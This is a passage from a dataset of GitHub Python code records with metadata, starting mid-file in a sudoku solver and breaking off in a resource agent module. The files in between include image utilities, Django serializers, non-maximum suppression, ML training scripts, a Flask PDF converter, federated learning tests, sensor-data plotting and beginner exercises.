in puzzle\n            puzzle[row][col] = guess\n            # Recurse this puzzle\n            # Step 4 Recursively call our fuction \n            if solve_sudoku(puzzle):\n                return True\n\n        # Step 5 if not vaild OR if our guess does not solve the puzzle, then we need to backtrack and try and new number \n        puzzle[row][col] = -1 # Reset Guess\n\n    \n    # Step 6 if none of the numbers work then this puzzle is unsolveable. \n    return False\n\nif __name__ == '__main__':\n    example_board = [\n        [3, 9, -1,   -1, 5, -1,   -1, -1, -1],\n        [-1, -1, -1,   2, -1, -1,   -1, -1, 5],\n        [-1, -1, -1,   7, 1, 9,   -1, 8, -1],\n\n        [-1, 5, -1,   -1, 6, 8,   -1, -1, -1],\n        [2, -1, 6,   -1, -1, 3,   -1, -1, -1],\n        [-1, -1, -1,   -1, -1, -1,   -1, -1, 4],\n\n        [5, -1, -1,   -1, -1, -1,   -1, -1, -1],\n        [6, 7, -1,   1, -1, 5,   -1, 4, -1],\n        [1, -1, 9,   -1, -1, -1,   2, -1, -1]\n    ]\n    print(solve_sudoku(example_board))\n    pprint(example_board)","repo_name":"TreyDrizzle/basicpyprojects","sub_path":"sudokusolver/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70676535734","text":"import numpy as np\nimport nibabel as nib\nimport scipy.ndimage as sp_ndimage\n\ndef save_image(data, filename, affine, logging=True):\n    \"\"\"Saves data to a NIFTI format file\n\n    Args:\n        data (ndarray): 3d image data to save.\n        filename (str): Name of file to save to.\n        affine ((4,4) array-like): Orientation of image.\n        logging (bool, optional): Logging enabled. Defaults to True.\n    \"\"\"\n    print(f\"saving image to: {filename}\") if logging else None\n    img = nib.Nifti1Image(data, affine)\n    nib.save(img, filename)\n\ndef normalize(data):\n    return((data - np.min(data))/(np.max(data)-np.min(data)))\n\ndef std_threshold(data, stds=1, whitelist=np.ones(1), blacklist=np.zeros(1), logging=True):\n    mean = np.mean(data)\n    std = np.std(data)\n    threshold_value = mean+std*stds\n    print(f\"mean: {mean} | std: {std} | devations: {stds} | threshold: {threshold_value}\") if logging else None\n\n    overlay = np.zeros(data.shape)\n    overlay += np.where(data>threshold_value, 1, 0)\n\n    overlay = overlay * np.where(blacklist==1, 0, 1)\n    overlay = overlay * whitelist\n    return(overlay)\n\ndef const_threshold(data, threshold_value, whitelist=np.ones(1), blacklist=np.zeros(1)):\n    overlay = np.zeros(data.shape)\n    overlay = np.where(data>threshold_value, 1, 0)\n\n    overlay = overlay * np.where(blacklist==1, 0, 1)\n    overlay = overlay * whitelist\n    return(overlay)\n\ndef neighborhood(data, x, y, z, r) :\n    return(data[x-r:x+r+1, y-r:y+r+1, z-r:z+r+1])\n\ndef correlation(data, kernel, logging=True) :\n    correlation_data = sp_ndimage.correlate(data, kernel)\n    return correlation_data\n","repo_name":"Harry-Kwon/Segmentation-Code-Samples","sub_path":"image_utils.py","file_name":"image_utils.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31856925351","text":"from rest_framework import serializers\n\nfrom django.contrib.auth.models import User\nfrom api.models import Post, Comment\n\nclass UserSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = User\n        fields = ['id', 'username', 'email']\n\nclass PostSerializer(serializers.ModelSerializer):\n    username = serializers.CharField(read_only=True, source='user.username')\n\n    class Meta:\n        model = Post\n        fields = ['id', 'username', 'created', 'title', 'content']\n\nclass CommentSerializer(serializers.ModelSerializer):\n    username = serializers.CharField(read_only=True, source='user.username')\n    post_id = serializers.IntegerField(read_only=True, source='post.id')\n\n    class Meta:\n        model = Comment\n        fields = ['id', 'post_id', 'username', 'created', 'content']\n","repo_name":"ivanbalingit/django_rest","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21070288975","text":"from systeme.FondMarin import *\n\nclass Bulle:\n    def __init__(self, couleurFond: Color) -> None:\n        self.couleurFond = couleurFond\n        self.espaces = [int(xf*0.01), int(yf*0.01)]\n        self.tailleTexte = yf*0.03\n        self.largeurMin = int(xf*0.05)\n        self.setTexte(\"0\")\n\n    def dessine(self, x: int, y: int) -> None:\n        if self.getContact(x, y):\n            draw_rectangle_rounded([x, y, self.largeur, self.hauteur], 0.3, 300, self.couleurFond)\n        draw_text_ex(police1, self.texte, (int(x+self.largeur/2-self.tt.x/2), int(y+self.espaces[1])), self.tailleTexte, 0, BLACK)\n\n    def setTexte(self, texte: str) -> None:\n        self.texte = texte\n        self.tt = measure_text_ex(police1, self.texte, self.tailleTexte, 0)\n        if self.tt.x+self.espaces[0]*2 >= self.largeurMin:\n            self.largeur = self.tt.x+self.espaces[0]*2\n        else:\n            self.largeur = self.largeurMin\n        self.hauteur = self.tt.y+self.espaces[1]*2\n\n    def getDims(self) -> tuple[int]:\n        return (self.largeur, self.hauteur)\n    \n    def getContact(self, x: int, y: int) -> bool:\n        \"\"\"Vérifie si le curseur est sur le bouton.\n\n        Returns:\n            bool: True si le curseur est sur le bouton, False dans le cas contraire.\n        \"\"\"\n        rep = False\n        px = get_mouse_x()\n        py = get_mouse_y()\n        if px >= x and px <= x+self.largeur:\n            if py >= y and py <= y+self.hauteur:\n                rep = True\n        return rep","repo_name":"engrenage13/Color","sub_path":"menu/bulle.py","file_name":"bulle.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4877328165","text":"\"\"\"\nImplemetation of NMS(Non-Maximum Supression)\n\"\"\"\n\ndef iou(bbox1, bbox2):\n    \"\"\"\n    @param bbox1: [x1, x2, y1, y2, score]\n    @param bbox2: [x1, x2, y1, y2, score]\n    @return : intersection area / union area\n    \"\"\"\n    # compute intersetion area\n    inter_x1 = max(bbox1[0], bbox2[0])\n    inter_x2 = min(bbox1[1], bbox2[1])\n    inter_y1 = max(bbox1[2], bbox2[2])\n    inter_y2 = min(bbox1[3], bbox2[3])\n    inter_area = (inter_x2 - inter_x1 + 1) * (inter_y2 - inter_y1 + 1)\n    # compute union area\n    area1 = (bbox1[1] - bbox1[0] + 1) * (bbox1[3] - bbox1[2] + 1)\n    area2 = (bbox2[1] - bbox2[0] + 1) * (bbox2[3] - bbox2[2] + 1)\n    union_area = area1 + area2 - inter_area\n    return inter_area / union_area\n\ndef nms(lists, threshold):\n    \"\"\"\n    @param lists: list of bboxes\n    @param thresh: threshold for iou\n    @return : the rest bboxes after NMS operation\n    \"\"\"\n    rest = []\n    lists.sort(key=lambda x: x[4], reverse=True)\n    while lists:\n        max_score_bbox = lists.pop(0)\n        rest.append(max_score_bbox)\n        # compute iou with max_score_bbox\n        for bbox in lists[:]:\n            if iou(max_score_bbox, bbox) > threshold:\n                lists.remove(bbox)\n    return rest\n\n\nif __name__ == '__main__':\n    lists = [[690, 720, 800, 820, 0.5],\n             [102, 204, 250, 358, 0.5],\n             [118, 257, 250, 380, 0.8], \n             [135, 280, 250, 400, 0.7],\n             [118, 255, 235, 360, 0.7]]\n    threshold = 0.3\n    result = nms(lists, threshold)\n    print(result)\n\n","repo_name":"DeepDuke/cv-homework","sub_path":"week 10/homework10.py","file_name":"homework10.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20782001583","text":"# import yaml\n# import argparse\nimport random\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nfrom easydict import EasyDict as edict\n\nfrom omegaconf import DictConfig, OmegaConf\nimport hydra\n\nfrom datasets import *\nfrom models import *\nfrom experiments import *\nfrom utils.utils import setup_default_logging\n \n@hydra.main(config_path='./config', config_name='config')\ndef main(CONFIG: DictConfig) -> None:\n    # # configuration\n    # parser = argparse.ArgumentParser(description='Generic runner for FixMatch')\n    # parser.add_argument('--config',  '-c',\n    #                     dest=\"filename\",\n    #                     metavar='FILE',\n    #                     help =  'path to the config file',\n    #                     default='config/config.yaml')\n\n    # args = parser.parse_args()\n    # with open(args.filename, 'r') as file:\n    #     try:\n    #         config_file = yaml.safe_load(file)\n    #     except yaml.YAMLError as exc:\n    #         print(exc)\n    # CONFIG = edict(config_file)\n    print('==> CONFIG is: \\n', OmegaConf.to_yaml(CONFIG), '\\n')\n\n    # initial logging file\n    logger = setup_default_logging(CONFIG, string='Train')\n    logger.info(CONFIG)\n\n    # # For reproducibility, set random seed\n    if CONFIG.Logging.seed == 'None':\n        CONFIG.Logging.seed = random.randint(1, 10000)\n    random.seed(CONFIG.Logging.seed)\n    np.random.seed(CONFIG.Logging.seed)\n    torch.manual_seed(CONFIG.Logging.seed)\n    torch.cuda.manual_seed_all(CONFIG.Logging.seed)\n    cudnn.deterministic = True\n    cudnn.benchmark = False\n\n    # get datasets\n    data = LOADDATA[CONFIG.DATASET.loading_data](CONFIG.DATASET)\n\n    cta = data.get_cta() if CONFIG.DATASET.strongaugment == 'CTA' else None\n\n    # build wideresnet\n    model = WRN_MODELS[CONFIG.MODEL.name](CONFIG.MODEL)\n    logger.info(\"[Model] Building model {}\".format(CONFIG.MODEL.name))\n\n    if CONFIG.EXPERIMENT.used_gpu:\n        device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n        model = model.to(device=device)\n\n    experiment = EXPERIMENT[CONFIG.EXPERIMENT.name](\n        model, CONFIG.EXPERIMENT, cta)\n\n    if cta:\n        labeled_training_dataset, unlabeled_training_dataset, valid_dataset, test_dataset, cta_dataset = data.get_dataset()\n        experiment.cta_probe_loader(cta_dataset)\n    else:\n        labeled_training_dataset, unlabeled_training_dataset, valid_dataset, test_dataset = data.get_dataset()\n\n    experiment.labelled_loader(labeled_training_dataset)\n    if CONFIG.DATASET.loading_data != 'LOAD_ORIGINAL' and unlabeled_training_dataset != None:\n        experiment.unlabelled_loader(\n            unlabeled_training_dataset, CONFIG.DATASET.mu)\n    experiment.validation_loader(valid_dataset)\n    experiment.fitting()\n    print(\"======= Training done =======\")\n    logger.info(\"======= Training done =======\")\n    experiment.test_loader(test_dataset)\n    experiment.testing()\n    print(\"======= Testing done =======\")\n    logger.info(\"======= Testing done =======\")\n\n\nif __name__ == '__main__':\n    # ### Error: Initializing libiomp5.dylib, but found libiomp5.dylib already initialized.###\n    # import os\n    # os.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\n    main()\n","repo_name":"Celiali/FixMatch","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"10307499355","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nHere we test the simulation of the G-Brownian motion\n\n@author: Andrea Mazzon\n\"\"\"\n\nfrom gBrownianMotion import GBrownianMotion\n\n#the discretization for the solution of the PDE\ndx = 0.01\n\nxmin = - 5\nxmax = 5\n\ndt = dx*dx \ntmax = 1\n\n#the discretization where we compute the first distributions\nminusA = - 5\nplusA = 5\ndxFirstDistributions = 0.05\n\n#the uncertainty interval\nsigmaDown = 1\nsigmaUp = 1\n\n#parameters for the simulation\ndtBrownianIncrements = 0.01\nnumberOfSimulations = 1000\n\ngBrownianMotion = GBrownianMotion(dx, dt, xmin, xmax, tmax, minusA, plusA, dtBrownianIncrements,\n                                  dxFirstDistributions, sigmaDown, sigmaUp,\n                                  numberOfSimulations)\n\n#we want to store the realizations, so that we can have a look at them\nrealizations = gBrownianMotion.getGBrownianMotion()\n\n\ngBrownianMotion.plotPaths(0,10)\n\nprint(\"The average of the realizations is \", gBrownianMotion.getAverageAtGivenTime(tmax))","repo_name":"AndreaMaz/Computational-finance-python","sub_path":"Computational-finance-python/gbrownianmotiongeneration/gBrownianMotionTest.py","file_name":"gBrownianMotionTest.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"31730005772","text":"from flask import Flask, render_template, request, send_file\nimport tempfile\nfrom pdf2docx import Converter\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n    if request.method == 'POST':\n        pdf_file = request.files['pdf']\n        if pdf_file:\n            with tempfile.TemporaryDirectory() as tmpdir:\n                pdf_path = f'{tmpdir}/input.pdf'\n                doc_path = f'{tmpdir}/output.docx'\n                pdf_file.save(pdf_path)\n                cv = Converter(pdf_path)\n                cv.convert(doc_path, start=0, end=None)\n                cv.close()\n                return send_file(doc_path, attachment_filename='converted.docx', as_attachment=True)\n    return render_template('index.html')\n\nif __name__ == '__main__':\n    app.run(debug=True)\n\n","repo_name":"Amit5620/CodeClause_Pdf_to_word_conveter","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23853637260","text":"import pytest\nimport torch as th\nimport syft as sy\n\nfrom syft.frameworks.torch.fl import BaseDataset\n\n\ndef test_base_dataset(workers):\n\n    bob = workers[\"bob\"]\n    inputs = th.tensor([1, 2, 3, 4.0])\n    targets = th.tensor([1, 2, 3, 4.0])\n    dataset = BaseDataset(inputs, targets)\n\n    assert len(dataset) == 4\n    assert dataset[2] == (3, 3)\n\n    dataset.send(bob)\n    assert dataset.data.location.id == \"bob\"\n    assert dataset.targets.location.id == \"bob\"\n    assert dataset.location.id == \"bob\"\n\n    dataset.get()\n    with pytest.raises(AttributeError):\n        assert dataset.data.location.id == 0\n    with pytest.raises(AttributeError):\n        assert dataset.targets.location.id == 0\n\n\ndef test_base_dataset_transform():\n\n    inputs = th.tensor([1, 2, 3, 4.0])\n    targets = th.tensor([1, 2, 3, 4.0])\n\n    transform_dataset = BaseDataset(inputs, targets)\n\n    def func(x):\n\n        return x * 2\n\n    transform_dataset.transform(func)\n\n    expected_val = th.tensor([2, 4, 6, 8])\n    transformed_val = [val[0].item() for val in transform_dataset]\n\n    assert expected_val.equal(th.tensor(transformed_val).long())\n\n\ndef test_federated_dataset(workers):\n    bob = workers[\"bob\"]\n    alice = workers[\"alice\"]\n\n    alice_base_dataset = BaseDataset(th.tensor([3, 4, 5, 6]), th.tensor([3, 4, 5, 6]))\n    datasets = [\n        BaseDataset(th.tensor([1, 2]), th.tensor([1, 2])).send(bob),\n        alice_base_dataset.send(alice),\n    ]\n\n    fed_dataset = sy.FederatedDataset(datasets)\n\n    assert fed_dataset.workers == [\"bob\", \"alice\"]\n    assert len(fed_dataset) == 6\n\n    fed_dataset[\"alice\"].get()\n    assert (fed_dataset[\"alice\"].data == alice_base_dataset.data).all()\n    assert fed_dataset[\"alice\"][2] == (5, 5)\n    assert len(fed_dataset[\"alice\"]) == 4\n    assert len(fed_dataset) == 6\n\n    assert isinstance(fed_dataset.__str__(), str)\n\n\ndef test_dataset_to_federate(workers):\n    bob = workers[\"bob\"]\n    alice = workers[\"alice\"]\n\n    dataset = BaseDataset(th.tensor([1.0, 2, 3, 4, 5, 6]), th.tensor([1.0, 2, 3, 4, 5, 6]))\n\n    fed_dataset = dataset.federate((bob, alice))\n\n    assert isinstance(fed_dataset, sy.FederatedDataset)\n\n    assert fed_dataset.workers == [\"bob\", \"alice\"]\n    assert fed_dataset[\"bob\"].location.id == \"bob\"\n    assert len(fed_dataset) == 6\n\n\ndef test_federated_dataset_search(workers):\n\n    bob = workers[\"bob\"]\n    alice = workers[\"alice\"]\n\n    grid = sy.PrivateGridNetwork(*[bob, alice])\n\n    train_bob = th.Tensor(th.zeros(1000, 100)).tag(\"data\").send(bob)\n    target_bob = th.Tensor(th.zeros(1000, 100)).tag(\"target\").send(bob)\n\n    train_alice = th.Tensor(th.zeros(1000, 100)).tag(\"data\").send(alice)\n    target_alice = th.Tensor(th.zeros(1000, 100)).tag(\"target\").send(alice)\n\n    data = grid.search(\"data\")\n    target = grid.search(\"target\")\n\n    datasets = [\n        BaseDataset(data[\"bob\"][0], target[\"bob\"][0]),\n        BaseDataset(data[\"alice\"][0], target[\"alice\"][0]),\n    ]\n\n    fed_dataset = sy.FederatedDataset(datasets)\n    train_loader = sy.FederatedDataLoader(fed_dataset, batch_size=4, shuffle=False, drop_last=False)\n\n    counter = 0\n    for batch_idx, (data, target) in enumerate(train_loader):\n        counter += 1\n\n    assert counter == len(train_loader), f\"{counter} == {len(fed_dataset)}\"\n","repo_name":"SanaAwan5/transfer_learning_on_mnist_spdz","sub_path":"test/torch/federated/test_dataset.py","file_name":"test_dataset.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"2113474217","text":"import re\nimport unicodedata\n\n\ndef normalize_text(text):\n    \"\"\"\n    Normalizes string to the standard similar format (without numbers, special symbols, etc..)\n    :param text: string\n    :return: formatted string\n    \"\"\"\n    text = re.sub(\"\\d+\", \"\", text)  # number removing\n    text = re.sub(\" {2,}\", \" \", text).lower()  # space removing\n    text = re.sub(\"[^\\w\\s]\", \"\", text)  # special symbols removing\n    text = unicodedata.normalize('NFKD', text).encode('ASCII', 'ignore')  # symbol replacement\n    return text.decode(\"utf-8\")","repo_name":"andoleg/DataAnalyticsTest","sub_path":"task2/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73738477812","text":"import matplotlib.pyplot as plt\nimport matplotlib\nimport datetime as dt\nfrom .loading import load_lidar, load_gps\nimport os\nimport numpy as np\n\n\ndef plot_lidar(longname, save_dir, data_dir):\n    data = []\n    for root, dirs, files in os.walk(data_dir):\n        for i in sorted(files):\n            date = dt.datetime.strptime(i, '%Y-%m-%d.txt')\n            for j in load_lidar(data_dir, date):\n                data.append(j)\n\n    td = dt.datetime.utcnow() - dt.timedelta(days=1)\n    td = dt.datetime(td.year, td.month, td.day)\n\n    time = np.array([i['time'] for i in data])\n    height = np.array([float(i['l_mean']) for i in data])\n\n    # Find Today's Data\n    ind = np.where((time >= td) & (time <= (td + dt.timedelta(days=1))))\n    height_today = height[ind]\n    time_today = time[ind]\n\n    # Find Week Data\n    timedelt7 = dt.timedelta(days=7)\n    ind = np.where((time >= (td - timedelt7)) & (time <= (td + dt.timedelta(days=1))))\n    height_week = height[ind]\n    time_week = time[ind]\n\n    # Plot all Height Data\n    plt.figure(figsize=(12, 10), dpi=80, facecolor='w')\n    plt.plot(time, height / 100, 'bo', markersize=3)\n    plt.title('All LIDAR Height Data from ' + longname)\n    plt.xticks(rotation=90)\n    plt.grid(b=True)\n    plt.xlabel('Date')\n    plt.ylabel('Distance from LIDAR (m)')\n    plt.savefig(os.path.join(save_dir, 'all_lidar.png'), bbox_inches='tight')\n    plt.close()\n\n    # Plot weeks height data\n    plt.figure(figsize=(12, 10), dpi=80, facecolor='w')\n    plt.plot(time_week, height_week / 100, 'bo')\n    plt.title('Week\\'s LIDAR Height Data from ' + longname)\n    plt.xticks(rotation=90)\n    plt.grid(b=True)\n    plt.xlabel('Date')\n    plt.ylabel('Distance from LIDAR (m)')\n    plt.savefig(os.path.join(save_dir, 'week_lidar.png'), bbox_inches='tight')\n    plt.close()\n\n    # Plot yesterday's height data\n    plt.figure(figsize=(12, 10), dpi=80, facecolor='w')\n    plt.plot(time_today, height_today / 100, 'bo')\n    plt.title('Today\\'s LIDAR Height Data from ' + longname)\n    plt.xticks(rotation=90)\n    plt.grid(b=True)\n    plt.xlabel('Date')\n    plt.ylabel('Distance from LIDAR (m)')\n    plt.savefig(os.path.join(save_dir, 'day_lidar.png'), bbox_inches='tight')\n    plt.close()\n\n\ndef plot_gps(longname, save_dir, data_dir):\n    data = []\n    for root, dirs, files in os.walk(data_dir):\n        for i in sorted(files):\n            for j in load_gps(os.path.join(root, i)):\n                data.append(j)\n\n    time = np.array([i['time'] for i in data])\n    lat = np.array([float(i['lat']) for i in data])\n    lon = np.array([float(i['lon']) for i in data])\n    alt = np.array([float(i['alt']) for i in data])\n\n    latstd, latmean = np.std(lat), np.mean(lat)\n    lonstd, lonmean = np.std(lon), np.mean(lon)\n    altstd, altmean = np.std(alt), np.mean(alt)\n\n    indlat = np.where(np.abs(lat - latmean) < 3*latstd)\n    indlon = np.where(np.abs(lon - lonmean) < 3*lonstd)\n    indalt = np.where(np.abs(alt - altmean) < 3*altstd)\n    lat_no = lat[indlat]\n    lon_no = lon[indlon]\n    alt_no = alt[indalt]\n    timelat = time[indlat]\n    timelon = time[indlon]\n    timealt = time[indalt]\n\n    # Plot lat, lon, and alt in subplots\n    fig, axs = plt.subplots(3, 1, figsize=(12, 10), dpi=80, facecolor='w', sharex=True)\n    axs[0].plot(time, lat, 'bo', markersize=3)\n    axs[1].plot(time, lon, 'bo', markersize=3)\n    axs[2].plot(time, alt, 'bo', markersize=3)\n    plt.suptitle('All GPS Data from ' + longname)\n    plt.xticks(rotation=90)\n    plt.grid(b=True)\n    axs[2].set_xlabel('Date')\n    axs[0].set_ylabel(u'Latitude [\\N{DEGREE SIGN}]')\n    axs[1].set_ylabel(u'Longitude [\\N{DEGREE SIGN}]')\n    axs[2].set_ylabel('Altitude [m]')\n    y_formatter = matplotlib.ticker.ScalarFormatter(useOffset=False)\n    axs[0].yaxis.set_major_formatter(y_formatter)\n    axs[1].yaxis.set_major_formatter(y_formatter)\n    axs[2].yaxis.set_major_formatter(y_formatter)\n    plt.savefig(os.path.join(save_dir, 'all_gps.png'), bbox_inches='tight')\n    plt.close()\n\n    fig, axs = plt.subplots(3, 1, figsize=(12, 10), dpi=80, facecolor='w', sharex=True)\n    axs[0].plot(timelat, lat_no, 'bo', markersize=3)\n    axs[1].plot(timelon, lon_no, 'bo', markersize=3)\n    axs[2].plot(timealt, alt_no, 'bo', markersize=3)\n    plt.suptitle('All GPS Data Without Outliers from ' + longname)\n    plt.xticks(rotation=90)\n    plt.grid(b=True)\n    axs[2].set_xlabel('Date')\n    axs[0].set_ylabel(u'Latitude [\\N{DEGREE SIGN}]')\n    axs[1].set_ylabel(u'Longitude [\\N{DEGREE SIGN}]')\n    axs[2].set_ylabel('Altitude [m]')\n    y_formatter = matplotlib.ticker.ScalarFormatter(useOffset=False)\n    axs[0].yaxis.set_major_formatter(y_formatter)\n    axs[1].yaxis.set_major_formatter(y_formatter)\n    axs[2].yaxis.set_major_formatter(y_formatter)\n    plt.savefig(os.path.join(save_dir, 'all_gps_nooutliers.png'), bbox_inches='tight')\n    plt.close()\n","repo_name":"ccarocean/gpslidar-save","sub_path":"save/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13076138819","text":"import tensorflow as tf\r\nfrom tensorflow import keras\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n#from keras.preprocessing import sequence\r\n\r\n\r\ndata = keras.datasets.imdb\r\n(train_data, train_labels),(test_data,test_labels) = data.load_data(num_words=88000)\r\n#Since we'll be comparing movie reviews, we will only be using the 10,000 most recurring words\r\n\r\nword_index = data.get_word_index()\r\n#The data is basically a tuple of intergers that map to a word\r\nword_index = {k:(v+3) for k,v in word_index.items()}\r\n\r\n\r\nword_index[\"<PAD>\"] = 0\r\nword_index[\"<START>\"] = 1\r\nword_index[\"<UNK>\"] = 2\r\nword_index[\"<UNUSED>\"] = 3\r\n\r\n\r\nreverse_word_index = dict([(value,key) for (key, value) in word_index.items()])\r\n\r\ndef review_encode(s):\r\n    encoded = [1]\r\n    for w in s:\r\n        if w in word_index:\r\n            encoded.append(word_index[w.lower()])\r\n        else:\r\n            encoded.append(2)\r\n    return encoded\r\n\r\n\r\nmodel = keras.models.load_model(\"model_name.h5\")\r\nwith open(\"text.txt\",encoding = 'utf-8') as f:\r\n    for line in f.readlines():\r\n        #We replace words that need no mapping\r\n        nline = line.replace(',','').replace('.','').replace('(','').replace(')','').replace(':','').replace('\\\"','').strip()\r\n        #We encode the data to only be 250 words\r\n        encode = review_encode(nline)\r\n        encode = keras.preprocessing.sequence.pad_sequences([encode],value =word_index[\"<PAD>\"], padding = \"post\", maxlen = 250)\r\n\r\n        predict = model.predict(encode)\r\n        print(line)\r\n        print(encode)\r\n        print(predict[0])\r\n","repo_name":"roshanv99/TensorFlow-Ref-","sub_path":"5.load_model.py","file_name":"5.load_model.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38816829433","text":"import random\n\n\ndef greet():\n    print('Hello World')\n\n\ndef find_second_largest():\n    largest = float('-inf')\n    second_largest = float('-inf')\n    sentinel = -1\n    user_input = int(input(\"Enter a number or press -1 to quit\"))\n    while user_input != sentinel:\n        print(user_input)\n        user_input = int(input(\"Enter a number or press -1 to quit\"))\n        if user_input > largest:\n            second_largest = largest\n            largest = user_input\n        elif user_input > second_largest:\n            second_largest = user_input\n\n    print(\"The second largest number is:\", second_largest)\n\n\ndef print_word_new_line():\n    word = \"SEMICOLON\"\n    for letter in word:\n        print(letter)\n\n\ndef print_two_new_line():\n    word = \"VENTURES\"\n    for letter in range(0, len(word), 2):\n        print(word[letter:letter + 2])\n\n\ndef find_occurrence():\n    word = \"Mississippi\"\n    number_of_s = 0\n    number_of_i = 0\n    for letter in word:\n        if letter == \"s\":\n            number_of_s += 1\n        if letter == \"i\":\n            number_of_i += 1\n    print(\"the number of occurrence of character 's' is \", number_of_s)\n    print(\"the number of occurrence of character 'i' is \", number_of_s)\n\n\ndef common_divisor():\n    num = 0\n    for i in range(1, 31):\n        if i % 3 == 0:\n            num += i\n    print(\"The sum of integers between 1 and 30 that are divisible by 3 is:\", num)\n\n\ndef birthday_guess():\n    number = 3\n    while True:\n        print(\"Guess my day of birthday\")\n        guess = int(input(\"Enter your guess: \"))\n        if guess != number:\n            print(\"Incorrect guess\")\n            guess = +1\n        else:\n            print(\"Correct guess\")\n            break\n\n\nif __name__ == \"__main__\":\n    greet()\n    # find_second_largest()\n    print_word_new_line()\n    print_two_new_line()\n    find_occurrence()\n    common_divisor()\n    birthday_guess()\n","repo_name":"Chinwoke-C/DSA-ProblemSolvingTasks","sub_path":"src/main/java/pythonFun/funProblem/Level1.py","file_name":"Level1.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24862317327","text":"#!/usr/bin/env python\n\"\"\"\n@package pyon.agent.common_agent\n@file pyon/agent/common_agent.py\n@author Edward Hunter\n@brief Common base class for ION resource agents.\n\"\"\"\n\n__author__ = 'Edward Hunter'\n__license__ = 'Apache 2.0'\n\n\n# Pyon imports.\nfrom pyon.core import bootstrap\nfrom pyon.core.bootstrap import IonObject\nfrom pyon.event.event import EventPublisher\nfrom pyon.util.log import log\nfrom pyon.util.containers import get_ion_ts\nfrom pyon.ion.resource import RT, PRED, OT, LCS\n\n# Pyon exceptions.\nfrom pyon.core.exception import IonException\nfrom pyon.core.exception import BadRequest\nfrom pyon.core.exception import Conflict\nfrom pyon.core.exception import NotFound\nfrom pyon.core.exception import ServerError\n\n# Interface imports.\nfrom interface.services.iresource_agent import BaseResourceAgent\nfrom interface.services.iresource_agent import ResourceAgentProcessClient\nfrom interface.objects import CapabilityType\nfrom interface.services.coi.iresource_registry_service import ResourceRegistryServiceProcessClient\n\n#Agent imports\nfrom pyon.agent.instrument_fsm import InstrumentFSM\nfrom pyon.agent.instrument_fsm import FSMStateError\nfrom pyon.agent.instrument_fsm import FSMCommandUnknownError\nfrom pyon.agent.common import BaseEnum\n\n\nclass UserAgent():\n    pass\n\n\nclass ResourceAgentState(BaseEnum):\n    \"\"\"\n    Resource agent common states.\n    \"\"\"\n    POWERED_DOWN = 'RESOURCE_AGENT_STATE_POWERED_DOWN'\n    UNINITIALIZED = 'RESOURCE_AGENT_STATE_UNINITIALIZED'\n    INACTIVE = 'RESOURCE_AGENT_STATE_INACTIVE'\n    IDLE = 'RESOURCE_AGENT_STATE_IDLE'\n    STOPPED = 'RESOURCE_AGENT_STATE_STOPPED'\n    COMMAND = 'RESOURCE_AGENT_STATE_COMMAND'\n    STREAMING = 'RESOURCE_AGENT_STATE_STREAMING'\n    TEST = 'RESOURCE_AGENT_STATE_TEST'\n    CALIBRATE = 'RESOURCE_AGENT_STATE_CALIBRATE'\n    DIRECT_ACCESS = 'RESOUCE_AGENT_STATE_DIRECT_ACCESS'\n    BUSY = 'RESOURCE_AGENT_STATE_BUSY'\n\n\nclass ResourceAgentEvent(BaseEnum):\n    \"\"\"\n    Resource agent common events.\n    \"\"\"\n    ENTER = 'RESOURCE_AGENT_EVENT_ENTER'\n    EXIT = 'RESOURCE_AGENT_EVENT_EXIT'\n    POWER_UP = 'RESOURCE_AGENT_EVENT_POWER_UP'\n    POWER_DOWN = 'RESOURCE_AGENT_EVENT_POWER_DOWN'\n    INITIALIZE = 'RESOURCE_AGENT_EVENT_INITIALIZE'\n    RESET = 'RESOURCE_AGENT_EVENT_RESET'\n    GO_ACTIVE = 'RESOURCE_AGENT_EVENT_GO_ACTIVE'\n    GO_INACTIVE = 'RESOURCE_AGENT_EVENT_GO_INACTIVE'\n    RUN = 'RESOURCE_AGENT_EVENT_RUN'\n    CLEAR = 'RESOURCE_AGENT_EVENT_CLEAR'\n    PAUSE = 'RESOURCE_AGENT_EVENT_PAUSE'\n    RESUME = 'RESOURCE_AGENT_EVENT_RESUME'\n    GO_COMMAND = 